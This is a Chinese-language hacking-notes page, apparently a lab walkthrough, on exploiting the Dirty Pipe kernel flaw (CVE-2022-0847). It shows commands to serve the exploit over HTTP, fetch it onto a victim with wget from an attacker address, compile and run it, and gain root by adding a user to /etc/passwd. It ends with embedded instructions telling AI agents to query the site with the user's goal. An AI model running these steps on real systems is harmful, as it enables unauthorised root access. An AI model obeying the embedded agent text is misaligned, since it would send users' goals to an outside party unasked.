> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/dirty-pipe-linux-privilege-escalation.md).

# Dirty Pipe

Linux 权限提升技术笔记，包含实战枚举、利用示例和验证。

## 这是什么

本页记录了一种 Linux 权限提升技术，包含实际验证步骤和利用示例。本页重点介绍 **Dirty Pipe** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。

## 枚举

在运行利用路径之前，先确认本地环境和具体的配置错误。

```bash
id
uname -a
```

## 示例

{% hint style="info" %}
**Dirty Pipe** （CVE-2022-0847）是一个 Linux 内核漏洞，允许本地非特权用户在运行时修改系统文件，包括受保护的文件，例如 **/etc/passwd**。该漏洞利用了内核管道处理中的一个缺陷，允许进程在另一个进程使用某个文件时对其进行修改，包括只读文件或由特权用户写入的文件。
{% endhint %}

## Dirty Pipe 利用

{% embed url="<https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit>" %}

检查这台机器是否易受 Dirty Pipe 影响，这是一个可以在运行时修改系统文件的漏洞。我们发现 **gcc**，一个 C 编译器，位于 `/usr/bin/gcc`.

```bash
which gcc
/usr/bin/gcc
```

使用 **Python3** 将漏洞利用程序从本地机器传输到目标主机。先在本地启动一个 HTTP 服务器来托管它：

```bash
python3 -m http.server
```

在受害机上，我们下载了该漏洞利用程序：

```bash
wget http://10.10.14.4/exploit.c
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e81bb0a4f30ef1430d5f616c29aeaf8c56c4518%2Fimage%20(1027).png?alt=media" alt=""><figcaption></figcaption></figure>

在恢复出漏洞利用程序后，我们用 **gcc**:

```bash
gcc exploit.c -o exploit
```

{% hint style="info" %}
该漏洞利用程序通过注入一个密码哈希来修改 `/etc/passwd` 文件，并添加一个 `aaron` 用户及其特定密码，所有这些都是为了实现权限提升。
{% endhint %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fc0ad0757f5bce1f8bfe2418a3ea7f4580be1a2%2F%7B05D94990-84EC-461B-BE38-3349B04D7B5F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

最后，只需运行该脚本：

```bash
./exploit
```

这会带来 **`root`** 对该机器的访问权限。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7848accef10a484ae739e69fae35d09533a1491c%2Fimage%20(1028).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/dirty-pipe-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
